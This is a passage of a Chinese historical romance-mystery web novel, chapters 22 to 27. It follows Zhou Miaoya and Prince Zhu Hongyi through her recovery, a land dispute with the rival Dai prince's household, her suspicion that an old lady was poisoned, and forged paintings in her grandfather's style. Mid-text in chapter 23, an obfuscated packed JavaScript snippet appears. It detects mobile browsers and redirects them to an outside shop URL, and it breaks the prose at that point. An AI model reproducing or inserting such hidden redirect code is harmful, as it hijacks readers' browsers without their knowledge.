她将画卷轻轻递上前,声音轻柔:“此次病中,多亏王爷悉心照拂…妙雅无以为报,唯有…唯有拙画一幅,聊表心意,望王爷…莫要嫌弃。” 她不敢抬头看他,长长的睫毛如蝶翼般轻颤着。 朱弘毅的目光从她微红的耳垂移到那卷画上,伸手接过,两人的指尖有瞬间的轻微触碰,周妙雅像被烫到一般迅速缩回手,脸颊霎时飞起两朵红云。 朱弘毅仿佛未曾察觉,徐徐展开画卷,是一幅《春溪新柳图》,溪水潺潺,新柳吐绿,生机盎然。 她是在告诉他,因他的照拂,她已如枯木逢春,重获新生。 “画技又精进了。” 他缓缓卷起画轴,声音里听不出太多情绪,但目光却落在她低垂的眉眼上,久久未移:“这份心意,本王领了。” 周妙雅鼓起勇气,飞快地抬眸看了他一眼,正好撞进他深邃的眼眸里,她心下一慌,忙又垂首低语:“王爷不嫌弃就好…若无事,妙雅先告退了。” 她几乎是逃也似地离开,转身时脚步凌乱,险些被自己的裙裾绊倒。 自那日送画之后,周妙雅便像是一头扎进了报恩的漩涡,怎么也停不下来。 她在小厨房折腾了大半日,总算端出一碟卖相还算过得去的桂花糕。 她捧着那碟点心,小心翼翼送到朱弘毅书房,眼眸亮晶晶的,满是期待。 朱弘毅看着眼前这碟略显朴拙,甚至边缘有些焦糊的糕点,又看了看她鼻尖上还沾着的一点面粉,沉默了片刻。 在她紧张的注视下,他拿起一块,尝了一口,细细咀嚼后,才淡淡道:“尚可,只是府中有厨役,这些琐事,不必亲力亲为,仔细伤了手。” 而后,她又拿起了针线,想着他常佩戴玉佩,便想绣个荷包装盛,选了一块月白色的素锦,对着图样,一针一线,极其认真。 奈何她于书画是天才,于女红却实在平平,手指被扎了好几针,才勉强绣成一对歪歪扭扭的翠竹。 傍晚时分,她红着脸将荷包递上。 朱弘毅接过那针脚略显稚拙,但显然用了心的荷包,指尖摩挲着上面的竹叶,抬眼看了看她微肿的指尖,眉头微蹙:“有心了。” 他将荷包收入袖中,也未说喜不喜欢,只是淡淡叮嘱她道:“女红伤眼,你身子方愈,不宜久坐劳神。” “好的…”周妙雅语气里似有些委屈,见他未有其他言语,正准备悻悻离开。 “周妙雅。” 她突然被他语气郑重地叫住。 他很少连名带姓地叫她,周妙雅心头一紧,以为是自己做的不好,慌忙垂下头。 却听他缓声道:“你的感激,本王知晓了,画作,点心,荷包皆已收到,心意亦领受。” 他顿了顿,目光落在她仍显单薄的身形上:“但你如今最要紧的,是安心静养,将身子彻底调理好,而非日日思虑如何回报,过度伤神劳累。” 他的声音不高,却字字清晰:“若真想谢我,便乖乖听话,把身子养好,你安然无恙,于本王而言,便是最好的谢礼,可明白了?” 23. 第二十三章 经历了这次高烧痊愈,周妙雅的身体已恢复的比之前好了很多。 又过了一段时日,已能活蹦乱跳,全然再无之前的病容。 只是近日来,她发现青黛眉宇间的愁绪愈发浓重,做事时常心不在焉的,甚至偶尔暗自垂泪。 周妙雅平日里便细心,在她的温言询问之下,青黛才哽咽着道出了原委。 原来是老家大兴县捎来口信,说她母亲旧疾复发,此次来势汹汹,咳嗽气喘,夜间尤甚,竟至难以安枕,家中请了郎中瞧过,却总不见大好。 周妙雅不想青黛如此伤心,便抚着她的背软语安慰道:“王爷仁厚,莫不如去跟王爷求个情,告假几日,回乡去看看,大兴县离京城不远,一,两个时辰的路程也就到了。” “可是姑娘大病初愈,也离不开人照顾…”青黛抹了抹眼泪。 周妙雅摇了摇头:“我无事的,我在这府中也是闲来无事,莫不如我同你一同去看望令堂,或许还能搭把手。” 青黛抬着泪眼,忙摆手道:“这怎么行?姑娘矜贵,我家寒酸,姑娘怎能住的惯?” 周妙雅拿了一方帕子,帮青黛拭泪,柔声劝道:“我哪里矜贵了,不过是寄人篱下的孤女罢了,没有王爷,我早就死了…傻丫头,孝道为大,别想那么多了,快收拾行囊吧。” 朱弘毅准了青黛告假十日,命她回乡探母,侍奉汤药,又命她去帐房取了十两银子,带回去给老人家请个好大夫,细心调养。 对于周妙雅的提议,他起先觉得不妥,但拗不过周妙雅坚持要去,只好答应,又命长安带了四名王府护卫,备了一辆舒适的马车,护送二人去往大兴县。并嘱咐长安务必要保证她二人周全,一路衣食住行皆要打点妥当,不得有任何闪失。 次日清晨,马车在四名精干护卫的随行下,驶出了宁王府,朝着京南的大兴县而去,长安骑着马,不远不近地跟在车旁,目光敏锐地扫过沿途街巷。 马车内,青黛归心似箭,双手紧绞着帕子,周妙雅轻轻握住她冰凉的手,无声地给予着安慰。 抵达大兴县青黛家中时,已是晌午,那是一座简陋却收拾得干净的农家小院。青黛的父亲和兄长都去田里干活了,暂未归家。青黛的母亲一人卧病在床,见到女儿回来,又惊又喜,强撑着要起来。 “娘,这位是王府的周姑娘,特地来看您的。”青黛介绍道。 老人家闻言便要挣扎着行礼,被周妙雅连忙按住:“伯母快别多礼,安心静养要紧。” 她见家中无人照料,便转身对青黛道:“伯母身子虚弱,还是再请一位郎中来仔细瞧瞧,我们也好放心。” 青黛自然应允,长安闻言,立刻亲自去请了当地最为人称道的老郎中前来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943778|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>老郎中须发皆白,诊脉十分仔细,良久,他松开手,低声道:“老人家此乃陈年旧疾,乃心脉虚弱,痰湿内阻所致,加之年事已高,此次外感风寒,引动内邪,故咳嗽气喘,夜不能寐,此为心疾之象,需得好生调理,切忌劳累忧思。” 心疾?周妙雅的心猛地一沉。 只见那老郎中提笔蘸墨,写下了一张药方,吹干墨迹后递给青黛:“按此方抓药,先吃五剂,每日一剂,早晚分服。若能对症,咳嗽气喘当能缓解。” 青黛连忙接过药方,千恩万谢。 周妙雅的目光落在那张药方上,待郎中离去,她状似不经意地轻声道:“这方子瞧着倒是周全,不知都是些什么药材?青黛,能给我瞧瞧么?” 青黛不疑有他,将药方递了过去。 周妙雅接过那张纸,指尖竟有些微微发颤,她目光急急扫过上面那一列列药名——茯苓、炙甘草、桂枝、白术、党参…… 这药方,竟与当初文老太太病重时,京城大夫所开的那张方子,一模一样! 同样的病,同样的药方,为何文老太太吃了这药,在康婧瑶的精心照料下,却迅速油尽灯枯? 如果青黛的母亲,吃了这药之后出现好转,那康婧瑶… 她不敢再继续想下去,一切都需要等待时间的验证,她需要亲眼验证,青黛的母亲会不会痊愈。 24. 第二十四章 转眼间五日已经过去了,在青黛的悉心照料下,她的母亲精神已比之前大好了许多。 乡下的生活是惬意自在的,长安和那四个侍卫,也是浮生偷得半日闲,农活对于他们这些王府来的侍卫来说,自是帮不了半分,不过平日里劈材挑水什么的,还是能搭上把手。 这日青黛服侍母亲服下汤药,母亲刚刚睡下,只见她哥哥急匆匆地从田地那头跑了回来,见到青黛,便把她叫了出来,也不敢高声让母亲听到,只得压低声音与青黛低语:“代王府那群无赖又来了,说是皇庄要扩建,看中了咱家那三亩田,欲以极低的价钱征购。” 青黛一听,立马气上心头,可她只是个农户家出身的小丫鬟,平日里也没见过这么大阵仗,所以她拿不定主意,只能来寻周妙雅。 她想着姑娘是大家闺秀,见的世面也多,故而想让周妙雅给她拿个主意。 周妙雅一问其原由,才知道代王府来田里闹事已经不是一次两次了。她想起文老太太病倒前的种种,正是被代王府逼婚,文毓瑜当场悔婚的行径活活气病的。郁怒伤肝,肝气横逆,最易扰动心脉,诱发心疾。 代王府的人之前来闹过事,青黛的母亲出过头,她不肯低价卖田,那是祖产,更是她等着女儿年满出府后归来相依为命的倚靠。 代王府的管事态度蛮横,言语间多有威胁恐吓,说什么王府看上你家的地是你们的造化,别敬酒不吃吃罚酒,小心最后地没了,还得倒贴官司钱。 青黛的母亲是又气又怕,与之争辩了几句,当夜便觉心口憋闷,喘不上气,就此病倒。她生怕在王府当差的女儿知道了担心,更怕女儿性子急回来理论反遭代王府报复,便死死瞒着,只说是旧疾复发。 又是代王府…周妙雅忍住心中的怒火,吩咐着:“长安,带上人,随我去田里看看。” 长安有些迟疑:“姑娘,属下奉王爷之命,誓死要护姑娘周全…代王府向来跋扈,姑娘要是为此事出头,冲突起来恐对姑娘不利,不如…” “青黛于我如姐妹,她家之事,我不能坐视不理。”还未等长安说完,周妙雅已毅然起身。 长安神色一凛,心知此举冒险,但见周妙雅神色坚决,只能抱拳应道:“是,属下誓护姑娘周全。” 一行人即刻动身,朝着青黛家的田地而去。尚未走近,便听到前方嚣张的呼喝声震天,器物碎裂的声音此起彼伏,夹杂着老农凄惶的哭求声,令人心惊。 几步抢上,但见原本应是青苗葱郁的田垄,此刻被踩踏得一片狼藉。 只见五六个代王府家丁,短衣褐带,胸前绣着暗红色的代字,抡棍挥棒,劈头盖脸砸向垄间,嘴里还不干不净地骂着: “老不死的刁民,敬酒不吃吃罚酒!”“砸!都给爷砸烂了!看你还拿什么硬气!” 地头边,一个头发花白,衣衫褴褛的老农瘫坐在地,捶胸顿足,老泪纵横:“天爷啊!……不能砸啊!这是俺一家子的命根子啊……” “爹!”青黛见状,伤心欲绝,忙扑上前去,护住了痛哭的老农。 “呦,这妮子长得不错,原来是这老不死的闺女,若是跟爷回王府,伺候爷舒坦了,或许还能饶你这老不死的一命。”为首的家丁露出了淫/邪的笑容,言语下流。 周妙雅只觉气血上涌,快步上前,呵斥道:“光天化日,毁人青苗,与强盗何异!” 那群恶仆闻声一愣,那为首的家丁见周妙雅虽衣着素雅却气度不凡,身边还跟着几个精壮护卫,心下先怯了三分,但嘴上仍不饶人:“哟,老子今日可是艳福不浅,又一个标致的美人儿,这老穷鬼倒是很会生,若不想贱卖田地,贱卖女儿,也不是不行。” 长安与侍卫们闻言大怒,立刻上前一步,手按刀柄,目光森然。 周妙雅忍着污言秽语,虽气得脸色煞白,却强自镇定:“这天下还是有王法的,岂容尔等如此放肆!” 那管事见护卫精悍,心下更虚,却仍嘴硬:“王法?咱爷们儿奉的是代王府的差事!劝你少管闲事!” 就在双方剑拔弩张之际,一阵急促的马蹄声由远及近。 众人循声望去,只见十余骑精悍人马飞驰而来。他们皆着劲装,腰佩兵刃,虽未标明身份,但那肃杀之气与训练有素的姿态,绝非寻常家丁护卫。 为首一人,身着玄色暗纹箭袖袍,身姿挺拔如松,面容俊朗,眉眼间带着一股疏离的冷冽与久居人上的威仪,目光扫过田中,锐利如刃,令人不敢逼视。 这群人的突然出现,让原本嚣张的代王府恶仆瞬间闭上了嘴,那 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他对身后微微颔首,方才那开口的随从立即心领神会,对着代王府众人厉声道:“立刻滚!再敢来此滋事,惊扰地方,休怪我等不客气!” 那伙恶仆如蒙大赦,哪里还敢停留,搀扶起那管事,狼狈不堪地鼠窜而去。 危机骤然解除,周妙雅心下稍安,知是遇到了贵人,她上前一步,对着端坐马上的玄衣男子敛衽一礼,声音虽带着一丝惊后的微颤,却清晰婉转:“多谢大人出手解围。” 玄衣男子并未言语,只是微微颔首,旋即一勒缰绳,调转马头,带着那一队精悍人马,如来时一般迅疾,扬尘而去。 长安上前低声道:“姑娘,此人虽着便装,但观其行事做派与马蹄銮铃规制,恐是…锦衣卫。” 周妙雅闻言,心中更添一丝疑惑,却也无从细究,她转身先去安抚仍在哭泣的青黛父亲。 而那策马离去的玄衣男子,驰出一段距离后,速度稍缓。他脑海中不由浮现出方才田间那女子坚韧,据理力争的模样,那双清亮眸子中的惊愕与感激,竟让他冷硬的心湖泛起一丝细微的涟漪。 “去查一下,方才那是哪家的田地,因何事起纷争。”他淡淡吩咐道。 “是。”身旁随从立刻应下。 25. 第二十五章 锦衣卫的办事效率极高,不过两三日,关于大兴县田亩纠纷的调查便呈报到了顾凌云的案头。 顾凌云,也就是那日为首的玄衣男子,锦衣卫副指挥佥事,当今皇后的亲弟弟。 卷宗简洁明了:涉事田地乃京南大兴县农户所有,冲突起因为代王府皇庄意图低价强购,青黛一家人的身份都交代的很详实,宁王府的侍女,以及她父亲和兄长,长安和四名侍卫也被证实是宁王府的人。 而当日出面阻拦代王府恶仆,并被他出手解围的那位女子…… 顾凌云的目光在那四个字上停留了片刻——身份不详。 有意思。 顾凌云唇角微勾,心中暗暗揣摹着,那女子虽身份不详,来历成谜,但想必与宁王府脱不了干系。 不过,宁王府… 他修长的手指轻叩着桌面,发出笃、笃声,冷冽的眸光中难得掠过一丝诧异。 这倒真是出乎他的意料。 在他的认知里,那位与他年岁相仿的宁王殿下,是京城勋贵圈中一个颇为特殊的存在。 今上唯一的亲弟弟,天生贵胄,身份尊贵无比,却毫无权势野心,终日只沉溺于书画古玩,流连诗酒宴会,却偏又洁身自好,从未听过有什么真正的风流韵事。 好一个无害无用的闲散王爷… 他这种胸无大志,沉迷享乐的人,怎么会与当日那站在田埂间,面对强权毫不退缩的女子,扯上关系? 那女子虽衣着素净却难掩清丽风姿,眼神清澈而坚韧,与他过往见过的所有贵女都截然不同。 她不像是朱弘毅会欣赏的那种流连于诗酒宴会间,娇柔妩媚,精通音律的解语花。 宁王为何至今未娶正妃?甚至连通房侍妾都未曾听闻?以前只觉得是他眼光挑剔,或是沉溺玩乐不愿被束缚,如今看来…… 种种疑问盘旋在心间,竟让一向对闲杂事漠不关心的顾凌云,生出了一种罕见的好奇心。 这丝好奇心促使他在这日午后,独自前往坤宁宫觐见他的亲姐姐,皇后顾云舒。 顾云舒见弟弟来了,自是欢喜不已,拉着他问了半晌家常,顾凌云耐着性子一一应答,待到宫人奉上茶点退下后,他才状似不经意地开口,语气平淡如常: “阿姐,近日偶闻些许闲谈,提及宁王殿下至今府中仍无王妃,甚至连侧妃侍妾都无一人,陛下与阿姐竟也不催促么?”他巧妙地将话题引向朱弘毅的婚事,而非直接打探那位女子。 顾云舒端起茶盏,带着几分戏谑地看向自家这个向来冷情冷性,只对公务感兴趣的弟弟:“哦?太阳打西边出来了?我们凌哥儿竟也开始关心起京中这些闲事了?” 她放下茶盏,用帕子轻轻按了按嘴角,方才答道:“弘毅那孩子啊…心思似乎全在那些书画古物上,陛下与本宫并非不曾问过,早年也提过几家贵女,他却总道缘份未至,或言不欲耽搁他人,后来索性摆出只爱风月,不慕闺阁的姿态,倒让不少人家息了心思。” 她轻轻摇了摇头,语气中带着一丝长辈般的宽容:“他毕竟是陛下唯一的亲弟弟,陛下怜他性情如此,见他确实无心于此,便也由着他去了,做个逍遥闲王,倒也自在。你怎的突然问起这个?” 顾凌云垂下眼帘,掩去眸中思索的神色,只淡淡道:“只是觉得有些反常,随口一问罢了。” 顾皇后仔细打量了一下弟弟的神色,总觉得他这随口一问并非那么简单,但她深知弟弟的性子,若他不想说,再怎么问也问不出,便只笑了笑,不再深究,转而聊起了别的家常。 顾凌云又陪着皇后说了会儿话,便起身告退。 走出坤宁宫,他负手立于汉白玉阶上,望着远处层叠的宫殿檐角,目光愈发深沉。 连皇后这里也探听不出什么特别的消息。 朱弘毅将那个人保护得如此之好,以至于外界毫无风声? 这非但没能打消他的疑虑,反而让他对那位神秘女子的好奇心,更加重了几分。 ——— 青黛十日的告假转瞬即逝。 青黛母亲的病在女儿的精心照料与那对症的药方调理下,已几近痊愈,脸色也红润了许多,咳嗽气喘基本平息。 看着母亲好转,青黛心里别提多高兴了。 然而,周妙雅的心却愈发沉重。 眼前的康复,恰恰如同冰冷的铁证,同样的心疾,同样的药方,文老太太病情恶化直至身亡,问题绝非出在药方本身,而是出在煎药,送药的人身上。 康婧瑶! 周妙雅想不通,康婧瑶这么做的动机是什么,一个刚过门的新妇,大家闺秀出身,竟如此狠毒…… 无论康婧瑶的动机是什么,她都是此刻最大的怀疑对象,周妙雅其实早就怀疑康婧瑶的动机,幸而当时留了后手,藏了一坛药渣在城南玉清观后门的大柳树下。 返程的路上,周妙雅顺路去玉清观取回那坛药渣,这里面装的,是文老太太最后时刻的用药痕迹,是可能揭开死亡真相的唯一物证。 一回到宁王府,周妙雅片刻未歇,立刻通过长安,请来了王府内的医官。 这位医官须发皆白,在王府多年,医术与信誉都颇为可靠。 在僻静的暖阁内,周妙雅屏退左右,只留下老医官,她打开陶罐,将其推到老医官面前,语气恳切:“大人,请您务必仔细验看此药渣,可有何异常之处?或是…多了什么,少了什么?” 老医官见她神色凝重,不敢怠慢,他戴上叆叇,将那些早已干枯发黑的根茎叶屑一点点拨开,仔细辨认,时而凑近闻一闻。 时间一点点过去,周妙雅的心也提到了嗓子眼。 良久,老医官缓缓抬头,他摇了摇头,面露难色:“回姑娘的话,老夫仔细查验过了,此药渣所含药材,无非是茯苓、炙甘草、桂枝、白术、党参等物,皆是益气养心,健脾化痰的常见药材,配方也中正平和,未见有何猛烈禁忌之物掺杂其中,单从这药渣来看…并无异常。” “并无异常?” 周妙雅的心猛地一沉,像是被泼了一盆冰水:“大人,您再仔细看看?或许…是某种不易察觉的东西?” 老医官肯定地答道:“姑娘,老夫行医数十载,这些常见药材断不会认错,此药渣确无问题,若老夫人服用此方不见效甚至病情加重,或许是因个体差异,亦或是外感邪气太盛,非药石所能及…” 周妙雅再次陷入沉思,同样的方子,同样的病,为何青黛的母亲吃了就见好转?文老太太吃了反而加速了油尽灯枯? 她谢过老医官,失神地坐在案前,盯着那罐药渣,仿佛要把它盯穿。 连经验丰富的王府医官都验不出问题,是康婧瑶 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她仿佛着了魔,眼中只剩下那些密密麻麻的药名,药性,匹配禁忌。 这日,她忽然想起在一本偏门的药典杂记中似乎看到过一味与桂枝性状相似却效用迥异的药材记载,或许能提供新的思路,她记得那本书似乎被放在最高一层的书架角落。 一座高大的楠木梯子倚在书架旁,周妙雅毫不迟疑地提起裙摆,一步步攀了上去,梯子有些高,越往上,她的脚步越有些虚浮,连日来的疲惫和饮食不周早已掏空了她的力气。 她全神贯注地仰头搜寻着,指尖在高处的书脊上划过,找到了,正是那本《南疆采药异闻录》。 心中一喜,她踮起脚尖,努力去抽那本书,就在书本脱离书架的那一刹那,一阵剧烈的眩晕猛地袭来… 眼前骤然发黑,手脚瞬间脱力,身体不受控制地向后一仰,竟直直从高高的梯子上摔了下来。 千钧一发之际,一只有力的手臂稳稳地揽住了她的腰身,另一只手及时护住了她的后脑,指尖不经意间穿入她散落的发丝,触感微凉而轻柔。 巨大的冲击力让来接住她的人微微后退了半步才得以稳住了身形,将她牢牢锁在怀中。 就在这一瞬,周妙雅的双臂仿佛拥有了自己的意志,在她意识清醒之前,已本能地,紧紧地环上了他的脖颈。 只有在被那清冽熟悉的气息包裹的一刹那,她紧绷的心弦才会骤然松弛,生出这种不顾一切的安全感。 朱弘毅身形微微一僵,显然未预料到这全然依偎的拥抱,少女温软的身躯毫无间隙地贴靠着他,她急促而温热的气息就拂在他的颈侧,带来一阵细微的战栗。 他护在她脑后的手顿了顿,指尖极轻地,近乎贪恋地拂过她如云的墨发,像是在无声的回应她,安抚她。 周妙雅后知后觉地才意识到自己做了什么…脸颊耳畔顿时燃烧起滔天的热意。 她慌忙松开环在他脖颈上的手,声音中带着惊后的颤抖与无措:“王…王爷…” 朱弘毅缓慢松开了扶在她腰间的手,确认她无事,稳稳地站在地上。 他的喉结剧烈地滚动着,半晌方才启唇,声音克制到极致,低哑得近乎磨人:“可……可有伤到?” 26、第二十六章 自那日瀚海楼的意外后,一股无形的,令人心慌意乱的张力便悄然弥漫于宁王府的深宅大院中,如影随形。 盛夏的天总是阴晴不定,方才还是晴空万里,转眼间乌云密布,豆大的雨点便噼里啪啦地砸落下来,瞬间织成密不透风的雨帘。 周妙雅站在瀚海楼门口,望着顷刻间便水流如注的庭院发愁,盘算着是要冒雨冲回暖阁,还是在此耐心等候雨歇。 正当她踌躇不定时,头顶的雨幕忽然被一顶青竹油纸伞隔绝开来。 她愕然回头,撞入眼帘的是朱弘毅那张轮廓分明的侧脸。 他神色平静,仿佛不过抬手拂尘,做了一件再寻常不过的事,然后淡淡地丢下两个字:“顺路。” 从瀚海楼到暖阁,不过咫尺,却因共撑一伞而变得无比漫长。 伞不大,两人不得不靠得极近,他的手臂为了尽量不碰到她,绷得有些僵硬,肩头一侧的衣衫已悄然被雨水浸透。 周妙雅几乎是屏着呼吸,垂着头,目光死死盯着自己裙摆下那双已然微湿的绣鞋,恨不得将整个人缩起来。 然而即便不去看,她也能清晰地感受到他手臂透过薄薄夏衣传来的体温。 周遭雨声淅淅沥沥,喧闹不息,反而衬得伞下这方寸之地愈发寂静,静得能听见彼此清浅的呼吸声。 呼吸声此起彼伏,一轻一重,逐渐纠缠成看不见的丝线,越挣越紧。 她忍不住偷偷抬眼觑他,正好撞上他垂下的目光,那目光深邃,里面翻涌着她读不懂,也承不住的心慌意乱。 她立刻像受惊的小鹿般低下头。 “看路。”他声音微哑,藏着一丝不易察觉的克制,似是在提醒她注意脚下湿滑的青石生苔。 她方寸大乱,目光无处安放,竟无意中瞥见了他系在腰间的荷包。 自己那稚拙的针脚,自己怎么会不认识? 他竟然真的戴上了… 一股滚烫的羞意霎时间涌上头顶,周妙雅只觉整张脸瞬间烧得通红,羞得无地自容,恨不得立刻找个地方赶快躲起来。 终于走到长廊下,她慌忙道谢,提裙便逃,全然顾不上绣鞋踏出凌乱的水花。 朱弘毅却并未立刻离开,他撑伞立于廊下,任风吹得雨线纷飞。 他目光深晦,追随着那道窈窕倩影消失在月洞门后,方才缓缓转身,踏水而去。 周妙雅几乎是逃也似的回到暖阁,背靠着门板,心口怦怦像受惊的雀儿,扑通扑通地跳个不停。 好不容易冷静下来,坐到书案前,想借着整理书卷平复心绪,可指尖拂过宣纸,脑海中浮现的却全是方才伞下那一幕:他淋湿的肩头,绷紧的手臂,还有…腰间那只她亲手缝的,针脚稚拙的荷包。 “他竟真的日日戴着…” 她试图握起笔,让自己冷静下来,她想要作画,作画能使她满得快要溢出来的情绪倾倒出来。 笔尖落到宣纸上,手仿佛不听自己的使唤,她几乎是凭着本能落笔,伞下的身影便已勾勒出来:他挺拔的背脊,为她撑出一方天地的伞,还有……伞下,她悄悄抬眸偷觑。 她画得飞快,笔尖带着颤,却异常精准,唯独不敢画他的正脸,仿佛只要描出一双眼,所有暗涌的情思便会被暴露出来,索性她只画背影。 刚落下最后一笔,门外便传来了青黛轻快的脚步声:“姑娘,我回来啦,给您带了新出的藕粉桃花糕。” 周妙雅吓得魂飞魄散,像是做了坏事被人当场撞破,手忙脚乱地将画纸胡乱塞进了一摞字帖的最中间,刚直起身,青黛就端着点心走了进来。 “姑娘,您脸怎么这么红?可是又着凉了?”青黛关切地问。 “没、没有!就是……就是刚才跑得快了些。”周妙雅慌得直用手扇风,眼神飘忽,根本不敢看那摞字帖。 而此刻,她完全忘记了自己情急之下,将那幅要命的画藏到了何处。 朱弘毅回到书房中。 屋内烛火通明,映着他沉静的面容。 他挥退侍从,独自在窗边站了片刻,窗外雨已停歇,月色朦胧。 他踱回书案前,并未立刻拿起书本,而是下意识地抬手,解下了腰间那枚与他一身矜贵气质格格不入,针脚稚拙的荷包。 指腹摩挲着粗糙的针脚,触感微涩,却让他心底莫名泛起一股踏实的暖意。 看着这歪扭的翠竹,他脑海里浮现的却是她那日捧着点心,递上荷包时,那亮晶晶又带着忐忑的双眸。 笨拙,却真诚得让他心头发软。 怜惜,欣赏,又掺了半分他自己都不肯承认的贪恋,交织着在他心中滋长。 当真可爱的紧。 ————— 暧昧的情愫如春溪暗涌,静静流淌在王府的亭台楼阁之间。 而一墙之外,整座京城却似巨石砸入深潭,瞬间掀起了滔天巨浪。 一件奇闻如同生翼般,火速传遍了京城的文人墨客,权贵官宦之家。 京城琉璃厂一带,一家不起眼的书画铺子汲古斋,竟悄无声息地放出几幅画作,震惊四座。 这些画作并非古人名画,而全然是已故文坛泰斗——文敬远,文老太爷自家的笔意精髓:山水苍润,林木蓊郁,墨色层次分明,皴法干净利落,那构图,那气韵,竟与文老太爷的真迹别无二致。 几位老翰林本欲闲逛淘宝,却在画前如同被施了定身术般,寸步难移。 半晌,其中一位须发皆白的老者才颤声惊呼:“这…这是文老的笔意!墨韵,皴法,乃至这留白的气象…绝不会有错!” 唯一的蹊跷处,这些无论怎么看都堪称神品的画作上,竟皆无题跋,无款识,无钤印,空空如也,一片素白。 此消息一出,霎时间,京城哗然。 文老太爷的画作向来被奉为珍品,流传于世且有记载的寥寥无几,大多珍藏于故交门生或各大世家手中,等闲难得一见。如今突然冒出这么一批无款却极度神似的画作,立时引发了无数猜测。 流言蜚语如同野火般,瞬间点燃整个京城。 不到半日,狭小的汲古斋便被闻讯而来的文人墨客,书画贩子围得水泄不通。掌柜的不得不将画作收起,宣布三日后再行品鉴,却更是吊足了所有人的胃口。 闭店三日期间,汲古斋藏有文老太爷无款遗墨,已不再是新闻,而是化作席卷京城的狂潮: “听说了吗?文老太爷可能有遗作现世!此乃文坛盛事啊!” “我看未必是遗作,文老晚年落笔谨严,片纸只字皆钤印署款,哪会留白如此干净?” “多半是当年私室练笔,或酒酣耳热之际,乘兴挥洒,却觉未臻圆满,便弃而不录,遂流落坊间。” “未必,我看这画来历蹊跷,汲古斋一个小铺子,哪来这等门路?其背后必有高人!” “莫非…是文家后世子孙中,有人手头拮据,或是出了败家子,暗中将家藏流出变卖?” “无论如何,这画是真好啊!气象万千,若能求得一幅,即便无款,悬于中堂,亦是莫大的眼福和谈资!” 这场风波越卷越大,它迅速从民间的议论升级为学界权威的公开论战。 国子监祭酒,年过古稀的书法大家刘大人,竟被学生搀扶着亲临汲古斋。 事后雅集,他拄杖而起,声如洪钟,掷地有声:“纵是无款,然神韵俱在,非文敬远不能为,此乃近年书画界第一等大事!” 素有北宗画派领袖之称的魏国公却嗤之以鼻:“不过形似而神未至,拘泥技法,缺乏文老晚岁作品中的旷达超脱,依老夫看,不过是技艺高超者摹仿,哗众取宠罢了。” 顶尖权威的截然对立,将事件彻底推向了风口浪尖,使之不再仅仅是书画收藏圈的风雅趣谈,更演变成了关乎学术立场,门派之争乃至背后朝堂势力脸面的公开争斗,暗流汹涌。 这些沸沸扬扬,不断升级的议论,自然也一字不落地传进了宁王府。 周妙雅听闻后,心中巨震,远比旁人更多十分惊疑。 祖父的画?周妙雅觉得此事甚是蹊跷,祖父的画,而且是不署名的,这不合常理… 她自幼承欢祖父膝下,深知祖父作画最重言为心声,书为心画,每幅作品无论大小,必题款钤印,以明心志,怎会留下这等意味不明,引人猜疑的无头公案? 况且,祖父大部分重要的手稿和画作,理应都被文家严密收藏于本家藏书楼,怎会突然有未署名的画作流入市井? 书房内,朱弘毅负手而立,听着长安低声禀报。 “查清楚了吗?货从何而来?” “回王爷,汲古斋口风紧得很,掌柜只说受江南旧友所托,其余一概不知。但属下查到,这几日暗中前往询价,乃至重金购画的,不乏…代王府和康家的人。文家更是一掷千金,想要把那几幅画都买下,文家那位状元郎反应最为激烈,几乎是第一时间得到消息,已然亲自去了汲古斋数次,态度极为强硬,扬言要不惜一切代价收回所有祖父遗墨,势在必得,几次欲与其他持重金求购者起冲突,险些动手。” 朱弘毅听罢,嘴角拂过一丝笑意,书画界发生此等大事,怎能少得了他这个素以画痴著称的闲散王爷。 “竟有此等事?那咱们也去趟趟这浑水,这就吩咐下去,本王欲去那汲古斋,亲自一探。”《 》 27、第二十七章 京城琉璃厂一如往日般喧闹,各家店铺门户大开,迎来送往。 然而,今日的汲古斋却格外引人注目。 店门前停着一辆辆极尽奢华的马车,原来是京城的权贵们听闻文老太爷遗作现世,纷纷想要来一睹真容。 朱弘毅也在此列,但他并非独自一人前来,他身侧伴着一位年约六旬,身着檀色暗纹道袍的老者,面容清癯,眼神锐利如鹰。 但凡对京城书画行当稍有了解的人,都认得这位正是京城书画行的行首姚老先生。 朱弘毅这位沉溺书画,名声在外的闲散王爷,自然是姚老先生最大的主顾。 姚老先生经眼的古玩字画无数,其鉴赏力在京城堪称泰斗,若非等闲,他绝不会踏足汲古斋这等小店。 朱弘毅没有自报家门,有姚老先生的威严已经足够了,他今天就是来猎奇的。 一踏入汲古斋,他的目光立即被那几幅悬挂正中的山水画所吸引。 他无需细看,心中便已明了,那笔意,那神韵,绝非旁人所能模仿,正是周妙雅的手笔。 朱弘毅心下冷笑,看来是宁王府出了内鬼,能把这未完成的废稿偷出王府,还卖到这种名不见经传的小店里,定是府中哪个眼皮子浅,不识真货,只贪图几个小钱的蠢钝下人,或是内监。 然而是珍品就是珍品,即使是平日里的废稿,被挂在汲古斋这种小店,也能引起京城的轩然大波,足以见绘画人的笔力。 店内此时已聚了许多看客,他们大多是闻讯而来瞧热闹的,指指点点,议论着这画与文老太爷的关联,语气中多是猎奇与猜疑。 就在此时,店外忽然传来一阵嚣张的呵斥与骚动。 “闪开!都闪开!代王府办事,闲杂人等回避!” 只见一群身着代王府家袍,满脸横气的家奴粗暴地推开门口的人群,蛮横地闯了进来,瞬间将小小的店铺挤得水泄不通。 为首一人,锦衣华服,面色倨傲,正是那刚攀上高枝的文家二郎,文毓瑜。 文毓瑜扫了一眼店内悬挂的画作,眼中并无鉴赏之意,只有满满的嫌恶与不耐烦,并以文家后人的权威姿态,一口咬定这些画非文老太爷遗作,皆是仿品。 他扬声道:“掌柜的,这些乱七八糟的假画,败坏我文氏门风,立刻给我全都摘下来烧了,一张也不许留!” 他身旁一个管事模样的恶奴立刻附和道:“听见没有?郡马爷发话了,这些污糟东西,也敢冒充文老太爷的墨宝?赶紧的!” 